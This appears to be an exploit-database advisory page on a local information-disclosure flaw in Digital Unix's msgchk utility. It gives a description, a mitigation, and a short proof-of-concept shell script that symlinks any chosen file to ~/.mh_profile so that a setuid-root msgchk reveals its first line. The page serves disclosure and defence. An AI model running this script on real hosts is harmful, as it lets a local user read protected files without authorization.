msgchk Information Disclosure Vulnerability

vendor:

Digital Unix

by:

truefinder

7.2

CVSS

HIGH

Information Disclosure

200

CWE

Product Name: Digital Unix

Affected Version From: Digital Unix

Affected Version To: Digital Unix

Patch Exists: No

Related CWE: N/A

CPE: o:digital:digital_unix

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2001

msgchk Information Disclosure Vulnerability

The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege. Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host.

Mitigation:

Restrict access to the msgchk utility and ensure that it is not setuid root.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/3320/info

The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege.

Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host. 

++ msgchkx.sh
#!/bin/sh
# truefinder, seo@igrus.inha.ac.kr
# msgchk file read vulnerability

if [ ! -f $1 ]
then
	echo "usage : $0 <file path>"
fi

cd ~
ln -sf $1 ~/.mh_profile
/usr/bin/mh/msgchk